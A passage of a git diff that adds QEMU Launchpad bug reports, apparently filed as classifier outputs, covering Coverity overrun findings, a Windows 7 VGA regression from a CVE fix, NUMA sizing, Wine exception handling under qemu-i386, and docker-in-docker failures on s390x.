OVERRUN_STATIC: +hw/arm_gic.c:235: *** Don't think so, at that point we know array value !=1023 and array value == irq, so irq can't be 1023 +overrun-local: Overrunning static array "s->last_active", with 96 elements, at position 1023 with index variable "irq". + +Error: OVERRUN_STATIC: +hw/arm_gic.c:235:*** Don't think so, at that point we know array value !=1023 and array value == irq, so irq can't be 1023 +overrun-local: Overrunning static array "s->last_active", with 96 elements, at position 1023 with index variable "irq". + +Error: OVERRUN_STATIC: +hw/arm_gic.c:461: *** Safe because irq%8=0, and GIC_NIRQ divisibly by 8 (again safer to do irq+8 > GIC_NIRQ) +assignment: Assigning: "irq" = "(offset - 640U) * 8U + 0U". +hw/arm_gic.c:469: +overrun-local: Overrunning static array "s->irq_state", with 96 elements, at position 96 with index variable "irq + i". + +Error: OVERRUN_STATIC: +hw/arm_gic.c:235: *** Same as case above??? +overrun-local: Overrunning static array "s->last_active", with 96 elements, at position 1023 with index variable "irq". + + + +AFAIK a lot of issues reported by coverity have been addressed in the recent versions of QEMU ... is there still anything left here that needs special attention? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/execution./1581936 b/results/classifier/deepseek-1/output/execution./1581936 new file mode 100644 index 00000000..20297c6a --- /dev/null +++ b/results/classifier/deepseek-1/output/execution./1581936 @@ -0,0 +1,233 @@ + +Frozen Windows 7 VMs with VGA CVE-2016-3712 fix (2.6.0 and 2.5.1.1) + +Hi, + +As already posted on the QEMU devel list [1] I stumbled upon a problem with QEMU in version 2.5.1.1 and 2.6.0. + +the VM shows Windows loading +files for the installation, then the "Starting Windows" screen appears +here it hangs and never continues. + +Changing the "-vga" option to cirrus solves this, the installation can +proceed and finish. When changing back to std (or also qxl, vmware) the +installed VM also hangs on the "Starting Windows" screen while qemu +showing a little but no excessive load. + +This phenomena appears also with QEMU 2.6.0 but not with 2.6.0-rc4, a +git bisect shows fd3c136b3e1482cd0ec7285d6bc2a3e6a62c38d7 (vga: make +sure vga register setup for vbe stays intact (CVE-2016-3712)) as the +culprit for this regression, as its a fix for a DoS its not an option to +just revert it, I guess. + +The bisect log is: + +git bisect start +# bad: [bfc766d38e1fae5767d43845c15c79ac8fa6d6af] Update version for v2.6.0 release +git bisect bad bfc766d38e1fae5767d43845c15c79ac8fa6d6af +# good: [975eb6a547f809608ccb08c221552f666611af25] Update version for v2.6.0-rc4 release +git bisect good 975eb6a547f809608ccb08c221552f666611af25 +# good: [2068192dcccd8a80dddfcc8df6164cf9c26e0fc4] vga: update vga register setup on vbe changes +git bisect good 2068192dcccd8a80dddfcc8df6164cf9c26e0fc4 +# bad: [53db932604dfa7bb9241d132e0173894cf54261c] Merge remote-tracking branch 'remotes/kraxel/tags/pull-vga-20160509-1' into staging +git bisect bad 53db932604dfa7bb9241d132e0173894cf54261c +# bad: [fd3c136b3e1482cd0ec7285d6bc2a3e6a62c38d7] vga: make sure vga register setup for vbe stays intact (CVE-2016-3712). +git bisect bad fd3c136b3e1482cd0ec7285d6bc2a3e6a62c38d7 +# first bad commit: [fd3c136b3e1482cd0ec7285d6bc2a3e6a62c38d7] vga: make sure vga register setup for vbe stays intact (CVE-2016-3712). + + +I could reproduce that with QEMU 2.5.1 and QEMU 2.6 on a Debian derivate +(Promox VE) with 4.4 Kernel and also with QEMU 2.6 on an Arch Linux +System with a 4.5 Kernel, so it should not be host distro depended. Both +machines have Intel x86_64 processors. +The problem should be reproducible with said Versions or a build from +git including the above mentioned commit (fd3c136) by starting a VM with +an Windows 7 ISO, e.g.: + +Freezing installation (as vga defaults to std I marked it as optional): +./x86_64-softmmu/qemu-system-x86_64 -boot d -cdrom win7.iso -m 1024 [-vga (std|qxl|vmware)] + +Working installation: +./x86_64-softmmu/qemu-system-x86_64 -boot d -cdrom win7.iso -m 1024 -vga cirrus + +If someone has already an installed Windows 7 VM this behaviour should be +also observable when trying to start it with the new versions of QEMU. + +Noteworthy may be that Windows 10 is working, I do not had time to get +other Windows versions and test them, I'll do that as soon as possible. +Various Linux system also seems do work fine, at least I did not ran +into an issue there yet. + +I also tried testing with SeaBIOS and OVMF as firmware, as initially I +had no idea what broke, both lead to the same result - without the +CVE-2016-3712 fix they both work, with not. +Further, KVM enabled and disabled does not make any difference. + + +[1] http://lists.nongnu.org/archive/html/qemu-devel/2016-05/msg02416.html + +I can confirm this behaviour. Tested on 3 different machines, all Windows 7 VMs are broke because of the latest "patch". Also tested Windows XP and Windows 10, both work with VGA flawlessly. + +I experience the same behavior on RHEL 7.2 since I installed the lastest patch. + +Seem to be a RHEL/Fedora on the same issue: +https://bugzilla.redhat.com/show_bug.cgi?id=1339267 + +supposed to be fixed by <http://git.qemu.org/?p=qemu.git;a=commit;h=94ef4f337fb614f18b765a8e0e878a4c23cdedcd>, please confirm + +I can partly confirm this, see (and parents): +https://lists.gnu.org/archive/html/qemu-devel/2016-05/msg04048.html + +It sounds just a little strange to me, so I'll recheck to be double sure every configure option is the same on my Arch Linux and Debian machine. + +I'm experiencing the same issue. Terrible video performance with Cirrus as it is the only video workable with windows 7. Please, fix it. + +So this is fixed upstream, in Fedora and ARCH. Can we expect a fix for xenial? This is quite a show stopper. + +Commit 94ef4f337fb614f18b7 has been released with QEMU version 2.7 + +Will the fix be backported? Right now, this is a regression in xenial (caused by the security update in 1:2.5+dfsg-5ubuntu10.6). + +... and trusty is affected, too. + +Would it help if I provide patches for trusty/xenial? I'd probably also need to update the description for SRU? + + + + + +Please let me know if there is anything I can do to help get these patches accepted for trusty/xenial. + +The attachment "Proposed fix for trusty" seems to be a debdiff. The ubuntu-sponsors team has been subscribed to the bug report so that they can review and hopefully sponsor the debdiff. If the attachment isn't a patch, please remove the "patch" flag from the attachment, remove the "patch" tag, and if you are member of the ~ubuntu-sponsors, unsubscribe the team. + +[This is an automated message performed by a Launchpad user owned by ~brian-murray, for any issue please contact him.] + +Hi, +thanks for marking Qemu(Ubuntu) so I could see it - and thanks for the prework on the patches. +We need to clear a few in progress SRUs before that but other than that things look nice. +We can work on the patches a bit until that happened. + +We will need somewhat proper Dep3 headers in [1] the patches - I can add those if you want me to do so. + +[1]: http://dep.debian.net/deps/dep3/ + +I checked and this is in 2.6.1 via a backport as [1] not as the original [2]. + +But that means >=Yakkety is good and Xenial/Trusty are bad since the related Security SRUs. +Updating bug tasks accordingly. + +[1]: http://git.qemu.org/?p=qemu.git;a=commit;h=7ff5dc445d6bb392f9fb3d0a254ef9071304780b +[2]: http://git.qemu.org/?p=qemu.git;a=commit;h=94ef4f337fb614f18b765a8e0e878a4c23cdedcd + +Discussed with the Security Team, this will very likely be in the next round of updates that will follow soon. I'll additionally ping the release team to get the blocking ongoing SRU processed faster. + +This bug was fixed in the package qemu - 2.0.0+dfsg-2ubuntu1.34 + +--------------- +qemu (2.0.0+dfsg-2ubuntu1.34) trusty-security; urgency=medium + + * SECURITY UPDATE: denial of service via leak in virtFS + - debian/patches/CVE-2017-7377.patch: fix file descriptor leak in + hw/9pfs/virtio-9p.c. + - CVE-2017-7377 + * SECURITY UPDATE: denial of service in cirrus_vga + - debian/patches/CVE-2017-7718.patch: check parameters in + hw/display/cirrus_vga_rop.h. + - CVE-2017-7718 + * SECURITY UPDATE: code execution via cirrus_vga OOB r/w + - debian/patches/CVE-2017-7980-1.patch: handle negative pitch in + hw/display/cirrus_vga.c. + - debian/patches/CVE-2017-7980-2.patch: allow zero source pitch in + hw/display/cirrus_vga.c. + - debian/patches/CVE-2017-7980-3.patch: fix blit address mask handling + in hw/display/cirrus_vga.c. + - debian/patches/CVE-2017-7980-4.patch: fix patterncopy checks in + hw/display/cirrus_vga.c. + - debian/patches/CVE-2017-7980-5.patch: revert allow zero source pitch + in hw/display/cirrus_vga.c. + - debian/patches/CVE-2017-7980-6.patch: stop passing around dst + pointers in hw/display/cirrus_vga.c, hw/display/cirrus_vga_rop.h, + hw/display/cirrus_vga_rop2.h. + - debian/patches/CVE-2017-7980-7.patch: stop passing around src + pointers in hw/display/cirrus_vga.c, hw/display/cirrus_vga_rop.h, + hw/display/cirrus_vga_rop2.h. + - debian/patches/CVE-2017-7980-8.patch: fix off-by-one in + hw/display/cirrus_vga_rop.h. + - debian/patches/CVE-2017-7980-9.patch: fix cirrus_invalidate_region in + hw/display/cirrus_vga.c. + - CVE-2017-7980 + * SECURITY UPDATE: denial of service via memory leak in virtFS + - debian/patches/CVE-2017-8086.patch: fix leak in + hw/9pfs/virtio-9p-xattr.c. + - CVE-2017-8086 + * SECURITY UPDATE: denial of service via leak in audio + - debian/patches/CVE-2017-8309.patch: release capture buffers in + audio/audio.c. + - CVE-2017-8309 + * SECURITY UPDATE: denial of service via leak in keyboard + - debian/patches/CVE-2017-8379-1.patch: limit kbd queue depth in + ui/input.c. + - debian/patches/CVE-2017-8379-2.patch: don't queue delay if paused in + ui/input.c. + - CVE-2017-8379 + * SECURITY REGRESSION: Windows 7 VGA compatibility issue (LP: #1581936) + - debian/patches/lp1581936.patch: add sr_vbe register set to + hw/display/vga.c, hw/display/vga_int.h. + + -- Marc Deslauriers <email address hidden> Wed, 10 May 2017 15:50:30 -0400 + +This bug was fixed in the package qemu - 1:2.5+dfsg-5ubuntu10.14 + +--------------- +qemu (1:2.5+dfsg-5ubuntu10.14) xenial-security; urgency=medium + + * SECURITY UPDATE: denial of service via leak in virtFS + - debian/patches/CVE-2017-7377.patch: fix file descriptor leak in + hw/9pfs/virtio-9p.c. + - CVE-2017-7377 + * SECURITY UPDATE: denial of service in cirrus_vga + - debian/patches/CVE-2017-7718.patch: check parameters in + hw/display/cirrus_vga_rop.h. + - CVE-2017-7718 + * SECURITY UPDATE: code execution via cirrus_vga OOB r/w + - debian/patches/CVE-2017-7980-1.patch: handle negative pitch in + hw/display/cirrus_vga.c. + - debian/patches/CVE-2017-7980-2.patch: allow zero source pitch in + hw/display/cirrus_vga.c. + - debian/patches/CVE-2017-7980-3.patch: fix blit address mask handling + in hw/display/cirrus_vga.c. + - debian/patches/CVE-2017-7980-4.patch: fix patterncopy checks in + hw/display/cirrus_vga.c. + - debian/patches/CVE-2017-7980-5.patch: revert allow zero source pitch + in hw/display/cirrus_vga.c. + - debian/patches/CVE-2017-7980-6.patch: stop passing around dst + pointers in hw/display/cirrus_vga.c, hw/display/cirrus_vga_rop.h, + hw/display/cirrus_vga_rop2.h. + - debian/patches/CVE-2017-7980-7.patch: stop passing around src + pointers in hw/display/cirrus_vga.c, hw/display/cirrus_vga_rop.h, + hw/display/cirrus_vga_rop2.h. + - debian/patches/CVE-2017-7980-8.patch: fix off-by-one in + hw/display/cirrus_vga_rop.h. + - debian/patches/CVE-2017-7980-9.patch: fix cirrus_invalidate_region in + hw/display/cirrus_vga.c. + - CVE-2017-7980 + * SECURITY UPDATE: denial of service via memory leak in virtFS + - debian/patches/CVE-2017-8086.patch: fix leak in + hw/9pfs/virtio-9p-xattr.c. + - CVE-2017-8086 + * SECURITY UPDATE: denial of service via leak in audio + - debian/patches/CVE-2017-8309.patch: release capture buffers in + audio/audio.c. + - CVE-2017-8309 + * SECURITY UPDATE: denial of service via leak in keyboard + - debian/patches/CVE-2017-8379-1.patch: limit kbd queue depth in + ui/input.c. + - debian/patches/CVE-2017-8379-2.patch: don't queue delay if paused in + ui/input.c. + - CVE-2017-8379 + * SECURITY REGRESSION: Windows 7 VGA compatibility issue (LP: #1581936) + - debian/patches/lp1581936.patch: add sr_vbe register set to + hw/display/vga.c, hw/display/vga_int.h. + + -- Marc Deslauriers <email address hidden> Wed, 10 May 2017 10:09:29 -0400 + diff --git a/results/classifier/deepseek-1/output/expiration./1912170 b/results/classifier/deepseek-1/output/expiration./1912170 new file mode 100644 index 00000000..e956254f --- /dev/null +++ b/results/classifier/deepseek-1/output/expiration./1912170 @@ -0,0 +1,82 @@ + +NUMA nodes created with memory-backend-ram shows size different than requested + +I created system with 7 NUMA nodes where nodes 0-3 should have 268435456 bytes size and nodes 4-6 exactly 1610612736 bytes size, but when I run "numactl -H" I got different (smaller) sizes. +It is essential for me to be able to emulate a system with nodes of exact size - is it possible? + +QEMU version: + +QEMU emulator version 5.1.0 +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + +QEMU command: + +qemu-system-x86_64 -hda qemu-image/ubuntu-1804.img -enable-kvm -cpu Cascadelake-Server -vnc :5 -netdev user,id=net0,hostfwd=tcp::10022-:22 -device virtio-net,netdev=net0 -boot c -m 5632.0M -object memory-backend-ram,id=ram-node0,size=268435456 -numa node,nodeid=0,cpus=0-3,memdev=ram-node0 -object memory-backend-ram,id=ram-node1,size=268435456 -numa node,nodeid=1,cpus=4-7,memdev=ram-node1 -object memory-backend-ram,id=ram-node2,size=268435456 -numa node,nodeid=2,cpus=8-11,memdev=ram-node2 -object memory-backend-ram,id=ram-node3,size=268435456 -numa node,nodeid=3,cpus=12-15,memdev=ram-node3 -object memory-backend-ram,id=ram-node4,size=1610612736 -numa node,nodeid=4,memdev=ram-node4 -object memory-backend-ram,id=ram-node5,size=1610612736 -numa node,nodeid=5,memdev=ram-node5 -object memory-backend-ram,id=ram-node6,size=1610612736 -numa node,nodeid=6,memdev=ram-node6 -numa dist,src=0,dst=0,val=10 -numa dist,src=0,dst=1,val=21 -numa dist,src=0,dst=2,val=31 -numa dist,src=0,dst=3,val=21 -numa dist,src=0,dst=4,val=17 -numa dist,src=0,dst=5,val=38 -numa dist,src=0,dst=6,val=28 -numa dist,src=1,dst=0,val=21 -numa dist,src=1,dst=1,val=10 -numa dist,src=1,dst=2,val=21 -numa dist,src=1,dst=3,val=31 -numa dist,src=1,dst=4,val=28 -numa dist,src=1,dst=5,val=17 -numa dist,src=1,dst=6,val=38 -numa dist,src=2,dst=0,val=31 -numa dist,src=2,dst=1,val=21 -numa dist,src=2,dst=2,val=10 -numa dist,src=2,dst=3,val=21 -numa dist,src=2,dst=4,val=28 -numa dist,src=2,dst=5,val=28 -numa dist,src=2,dst=6,val=28 -numa dist,src=3,dst=0,val=21 -numa dist,src=3,dst=1,val=31 -numa dist,src=3,dst=2,val=21 -numa dist,src=3,dst=3,val=10 -numa dist,src=3,dst=4,val=28 -numa dist,src=3,dst=5,val=28 -numa dist,src=3,dst=6,val=17 -numa dist,src=4,dst=0,val=17 -numa dist,src=4,dst=1,val=28 -numa dist,src=4,dst=2,val=28 -numa dist,src=4,dst=3,val=28 -numa dist,src=4,dst=4,val=10 -numa dist,src=4,dst=5,val=28 -numa dist,src=4,dst=6,val=28 -numa dist,src=5,dst=0,val=38 -numa dist,src=5,dst=1,val=17 -numa dist,src=5,dst=2,val=28 -numa dist,src=5,dst=3,val=28 -numa dist,src=5,dst=4,val=28 -numa dist,src=5,dst=5,val=10 -numa dist,src=5,dst=6,val=28 -numa dist,src=6,dst=0,val=38 -numa dist,src=6,dst=1,val=28 -numa dist,src=6,dst=2,val=28 -numa dist,src=6,dst=3,val=17 -numa dist,src=6,dst=4,val=28 -numa dist,src=6,dst=5,val=28 -numa dist,src=6,dst=6,val=10 -smp 16,sockets=4,dies=1,cores=4,threads=1 -fsdev local,security_model=passthrough,id=fsdev0,path=/home/mysuser/share -device virtio-9p-pci,id=fs0,fsdev=fsdev0,mount_tag=share_host -daemonize + +output from numactl -H: + +$ numactl -H +available: 7 nodes (0-6) +node 0 cpus: 0 1 2 3 +node 0 size: 250 MB +node 0 free: 191 MB +node 1 cpus: 4 5 6 7 +node 1 size: 251 MB +node 1 free: 199 MB +node 2 cpus: 8 9 10 11 +node 2 size: 251 MB +node 2 free: 218 MB +node 3 cpus: 12 13 14 15 +node 3 size: 251 MB +node 3 free: 118 MB +node 4 cpus: +node 4 size: 1511 MB +node 4 free: 1507 MB +node 5 cpus: +node 5 size: 1447 MB +node 5 free: 1443 MB +node 6 cpus: +node 6 size: 1489 MB +node 6 free: 1484 MB +node distances: +node 0 1 2 3 4 5 6 + 0: 10 21 31 21 17 38 28 + 1: 21 10 21 31 28 17 38 + 2: 31 21 10 21 28 28 28 + 3: 21 31 21 10 28 28 17 + 4: 17 28 28 28 10 28 28 + 5: 38 17 28 28 28 10 28 + 6: 38 28 28 17 28 28 10 + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/expired./1915682 b/results/classifier/deepseek-1/output/expired./1915682 new file mode 100644 index 00000000..54249394 --- /dev/null +++ b/results/classifier/deepseek-1/output/expired./1915682 @@ -0,0 +1,148 @@ + +i386-linux-user wine exception regression tests fail + +When trying to run wine (latest devel from git) regression tests for ntdll in a statically linked qemu-i386 (commit 392b9a74b9b621c52d05e37bc6f41f1bbab5c6f8) on arm32 (raspberry pi 4) in a debian buster chroot, the exception tests fail at the first test with an infinite exception loop. + +WINEDEBUG=+seh wine wine/dlls/ntdll/tests/ntdll_test.exe exception + + +Working x86_64 system running 32-bit code + +0024:warn:seh:dispatch_exception EXCEPTION_ACCESS_VIOLATION exception (code=c0000005) raised +0024:trace:seh:dispatch_exception eax=00000000 ebx=7ffc2000 ecx=004e0ef4 edx=003c0004 esi=003c0000 edi=00000000 +0024:trace:seh:dispatch_exception ebp=0085fa08 esp=0085f9ac cs=0023 ds=002b es=002b fs=0063 gs=006b flags=00010246 +0024:trace:seh:call_vectored_handlers calling handler at 7B00B460 code=c0000005 flags=0 +0024:trace:seh:call_vectored_handlers handler at 7B00B460 returned 0 +0024:trace:seh:call_stack_handlers calling handler at 004178B0 code=c0000005 flags=0 +0024:trace:seh:call_stack_handlers handler at 004178B0 returned 0 +0024:trace:seh:dispatch_exception call_stack_handlers continuing +0024:trace:seh:NtGetContextThread 0xfffffffe: dr0=42424240 dr1=00000000 dr2=126bb070 dr3=0badbad0 dr6=00000000 dr7=ffff0115 + + +Non-working qemu + +0024:warn:seh:dispatch_exception EXCEPTION_ACCESS_VIOLATION exception (code=c0000005) raised +0024:trace:seh:dispatch_exception eax=00000000 ebx=3ffe2000 ecx=004e0ef4 edx=003c0004 esi=003c0000 edi=00000000 +0024:trace:seh:dispatch_exception ebp=0085fa08 esp=0085f9ac cs=0023 ds=002b es=002b fs=003b gs=0033 flags=00000246 +0024:trace:seh:call_vectored_handlers calling handler at 7B00B460 code=c0000005 flags=0 +0024:trace:seh:call_vectored_handlers handler at 7B00B460 returned 0 +0024:trace:seh:call_stack_handlers calling handler at 004178B0 code=c0000005 flags=0 +0024:trace:seh:call_stack_handlers handler at 004178B0 returned 0 +0024:trace:seh:dispatch_exception call_stack_handlers continuing +0024:trace:seh:dispatch_exception call_stack_handlers ret status = 0 +0024:trace:seh:dispatch_exception code=0 flags=1 addr=7BC2389C ip=7bc2389c tid=0024 + +The non-working verion is never managing to set the CPU context using NtContinue/SetContextThread back to the correct running thread stack and IP. It executes as if the context restore just returns to the function that called NtContinue() (dispatch_exception(), not the function that raised the exception or one of its parent exception handlers). + +It looks like NtSetContextThread(), specifically the asm function set_full_cpu_context() is being handled incorrectly. + +wine code below. note interesting use of iret with no previous interrupt call. The exception handler is called with a jmp. + +/*********************************************************************** + * set_full_cpu_context + * + * Set the new CPU context. + */ +extern void set_full_cpu_context( const CONTEXT *context ); +__ASM_GLOBAL_FUNC( set_full_cpu_context, + "movl $0,%fs:0x1f8\n\t" /* x86_thread_data()->syscall_frame = NULL */ + "movl 4(%esp),%ecx\n\t" + "movw 0x8c(%ecx),%gs\n\t" /* SegGs */ + "movw 0x90(%ecx),%fs\n\t" /* SegFs */ + "movw 0x94(%ecx),%es\n\t" /* SegEs */ + "movl 0x9c(%ecx),%edi\n\t" /* Edi */ + "movl 0xa0(%ecx),%esi\n\t" /* Esi */ + "movl 0xa4(%ecx),%ebx\n\t" /* Ebx */ + "movl 0xb4(%ecx),%ebp\n\t" /* Ebp */ + "movw %ss,%ax\n\t" + "cmpw 0xc8(%ecx),%ax\n\t" /* SegSs */ + "jne 1f\n\t" + /* As soon as we have switched stacks the context structure could + * be invalid (when signal handlers are executed for example). Copy + * values on the target stack before changing ESP. */ + "movl 0xc4(%ecx),%eax\n\t" /* Esp */ + "leal -4*4(%eax),%eax\n\t" + "movl 0xc0(%ecx),%edx\n\t" /* EFlags */ + ".byte 0x36\n\t" + "movl %edx,3*4(%eax)\n\t" + "movl 0xbc(%ecx),%edx\n\t" /* SegCs */ + ".byte 0x36\n\t" + "movl %edx,2*4(%eax)\n\t" + "movl 0xb8(%ecx),%edx\n\t" /* Eip */ + ".byte 0x36\n\t" + "movl %edx,1*4(%eax)\n\t" + "movl 0xb0(%ecx),%edx\n\t" /* Eax */ + ".byte 0x36\n\t" + "movl %edx,0*4(%eax)\n\t" + "pushl 0x98(%ecx)\n\t" /* SegDs */ + "movl 0xa8(%ecx),%edx\n\t" /* Edx */ + "movl 0xac(%ecx),%ecx\n\t" /* Ecx */ + "popl %ds\n\t" + "movl %eax,%esp\n\t" + "popl %eax\n\t" + "iret\n" + /* Restore the context when the stack segment changes. We can't use + * the same code as above because we do not know if the stack segment + * is 16 or 32 bit, and 'movl' will throw an exception when we try to + * access memory above the limit. */ + "1:\n\t" + "movl 0xa8(%ecx),%edx\n\t" /* Edx */ + "movl 0xb0(%ecx),%eax\n\t" /* Eax */ + "movw 0xc8(%ecx),%ss\n\t" /* SegSs */ + "movl 0xc4(%ecx),%esp\n\t" /* Esp */ + "pushl 0xc0(%ecx)\n\t" /* EFlags */ + "pushl 0xbc(%ecx)\n\t" /* SegCs */ + "pushl 0xb8(%ecx)\n\t" /* Eip */ + "pushl 0x98(%ecx)\n\t" /* SegDs */ + "movl 0xac(%ecx),%ecx\n\t" /* Ecx */ + "popl %ds\n\t" + "iret" ) + +Be aware that most of the regression test failures are caused by lack of ptrace() support. + +The wine traces above show one of these cases. I will provide traces of an actual relevant failure. + +However the failure to restart the correct thread is in some way related to the use of iret in set_full_cpu_context(). + +That was a complete misdiaagnsis. The IRET works fine in user space, at the lowest privlege level. + +The wrong thread is not restarted. The correct thread continues execution, at the correct address, but with the wrong thread-local data. + +Thread-local data is accessed via the segment loaded in the fs register in wine. The segment selector is set the same in each thread, but each thread should have a unique GDT entry pointing to its thread-local data. + +The issue is that clone() copies the pointer reference to the process's GDT without creating a new GDT area. All threads wind up sharing the same GDT. As the selector is the same, all threads share the same threa-local data. Oddly enough, this has fewer ill effects than excpected. Unless SEH (Structured Exception Handling) is invoked, at which point threads start unwinding the stack frames of other threads... + +Copying the GDT during clone() results in a workig system with correct exception handling. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/failure./1880518 b/results/classifier/deepseek-1/output/failure./1880518 new file mode 100644 index 00000000..e81d4499 --- /dev/null +++ b/results/classifier/deepseek-1/output/failure./1880518 @@ -0,0 +1,84 @@ + +issue while installing docker inside s390x container + +This is in reference to https://github.com/multiarch/qemu-user-static/issues/108. +I am facing issue while installing docker inside s390x container under qemu on Ubuntu 18.04 host running on amd64. +Following are the contents of /proc/sys/fs/binfmt_misc/qemu-s390x on Intel host after running +docker run --rm --privileged multiarch/qemu-user-static --reset -p yes +enabled +interpreter /usr/bin/qemu-s390x-static +flags: F +offset 0 +magic 7f454c4602020100000000000000000000020016 +mask ffffffffffffff00fffffffffffffffffffeffff +I could get docker service up with the following trick. +printf '{"iptables": false,"ip-masq": false,"bridge": "none" }' > /etc/docker/daemon.json +But even though docker service comes up, images are not getting pulled, docker pull fails with the following error. +failed to register layer: Error processing tar file(exit status 1): + +Without a more detailled error message we can'know what happens. + +What I see is you don't have the 'OC' flags that should help to execute binaries with (s) bit. + +You should also report the version of qemu. + +The error message that I posted above is all that I see when I go to pull and image. +Following is the log from docker daemon + +time="2020-05-26T07:34:31.385796553Z" level=info msg="API listen on /var/run/docker.sock" +time="2020-05-26T07:34:34.607431981Z" level=debug msg="Calling GET /_ping" +time="2020-05-26T07:34:34.635096021Z" level=debug msg="Calling GET /v1.38/containers/json" +time="2020-05-26T07:34:43.919894850Z" level=debug msg="Calling GET /_ping" +time="2020-05-26T07:34:43.963634642Z" level=debug msg="Calling GET /v1.38/info" +time="2020-05-26T07:34:44.702451808Z" level=debug msg="Calling POST /v1.38/images/create?fromImage=hello-world&tag=latest" +time="2020-05-26T07:34:44.715857621Z" level=debug msg="Trying to pull hello-world from https://registry-1.docker.io v2" +time="2020-05-26T07:34:46.805807639Z" level=debug msg="Pulling ref from V2 registry: hello-world:latest" +time="2020-05-26T07:34:46.806872106Z" level=debug msg="docker.io/library/hello-world:latest resolved to a manifestList object with 9 entries; looking for a unknown/s390x match" +time="2020-05-26T07:34:46.808815074Z" level=debug msg="found match for linux/s390x with media type application/vnd.docker.distribution.manifest.v2+json, digest sha256:e49abad529e5d9bd6787f3abeab94e09ba274fe34731349556a850b9aebbf7bf" +time="2020-05-26T07:34:47.233545931Z" level=debug msg="pulling blob \"sha256:3c80930bfdd5b53b7ca2a6b8116ed9a273af43a6b2dd13e81e82aae7521be469\"" +time="2020-05-26T07:34:47.864739182Z" level=debug msg="Downloaded 3c80930bfdd5 to tempfile /var/lib/docker/tmp/GetImageBlob114078888" +time="2020-05-26T07:34:48.038875327Z" level=debug msg="Cleaning up layer b3da5d545c61d65059a2190feb19ae13797338ee999542b615e93e9708b88507: Error processing tar file(exit status 1): " +time="2020-05-26T07:34:48.049928529Z" level=info msg="Attempting next endpoint for pull after error: failed to register layer: Error processing tar file(exit status 1): " + +Since I am using multiarch/qemu-user-static with the latest tag, qemu version is 4.2.0-6. + +docker in docker works flawlessly on native s390x host. I am facing this issue only with qemu. Are there any other steps to follow to make docker in docker work under qemu? + +Any pointers about this issue? Any other steps needs to be followed to resolve the issue? + +Also same issue observed with docker version 19.03. docker pull command failing with an error "failed to register layer: Error processing tar file(exit status 1):" + + + +QEMU 4.2 is quite old already, can you also reproduce the issue with the latest version of QEMU (v5.2 ... or maybe even with the 6.0-rc1 that should get released next week)? + +Yes we have observed the issue with multiarch/qemu-user-static image v5.2.0-1 and 5.2.0-2 + + +docker not starting inside s390x container. Log shows: + +Error starting daemon: Error initializing network controller: error obtaining controller instance: failed to create NAT chain DOCKER: iptables failed: iptables -t nat -N DOCKER: iptables v1.6.1: can't initialize iptables table `nat': iptables who? (do you need to insmod?) +Perhaps iptables or your kernel needs to be upgraded. + (exit status 3) + + +As we are facing issue with service docker start ( for docker in docker s390x container under qemu) + +time="2021-03-23T07:29:07.645278866Z" level=warning msg="Running modprobe nf_nat failed with message: ``, error: exec: \"modprobe\": executable file not found in $PATH" +time="2021-03-23T07:29:07.645535879Z" level=warning msg="Running modprobe xt_conntrack failed with message: ``, error: exec: \"modprobe\": executable file not found in $PATH" +Error starting daemon: Error initializing network controller: error obtaining controller instance: failed to create NAT chain DOCKER: iptables failed: iptables -t nat -N DOCKER: iptables v1.6.1: can't initialize iptables table `nat': iptables who? (do you need to insmod?) +Perhaps iptables or your kernel needs to be upgraded. + (exit status 3) + +Does it mean that qemu doesn't support/have enabled related modules? modprobe? + + +Could you please let me know if my understanding is correct? Qemu doesn't support/have enabled related modules? modprobe? + +insmod/modprobe inside the container cannot load the modules because they are the one for the target architecture while the kernel is the one of the host. If you need functionalities in the container provided by some modules you need to load these modules using modprobe/insmod on the host. + +Looks like for docker in docker in cross architectures is not yet supported. if we use -v /var/run/docker.sock:/var/run/docker.sock , docker will always run as client in s390x container and server from amd64. + +Looks like docker in docker for cross architectures is not yet supported in qemu. +can be closed + diff --git a/results/classifier/deepseek-1/output/failures./1899082 b/results/classifier/deepseek-1/output/failures./1899082 new file mode 100644 index 00000000..84652927 --- /dev/null +++ b/results/classifier/deepseek-1/output/failures./1899082 @@ -0,0 +1,136 @@ + +ReplayKernel.test_x86_64_pc fails intermittently + +Even though this acceptance test is already skipped on GitLab CI, the intermittent failures can be seen on other environments too. + +The record phase works fine, but during the replay phase fail to finish booting the kernel (until the expected place): + +16:34:47 DEBUG| [ 0.034498] Last level dTLB entries: 4KB 0, 2MB 0, 4MB 0, 1GB 0 +16:34:47 DEBUG| [ 0.034790] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline +16:34:47 DEBUG| [ 0.035093] Spectre V2 : Mitigation: Full generic retpoline 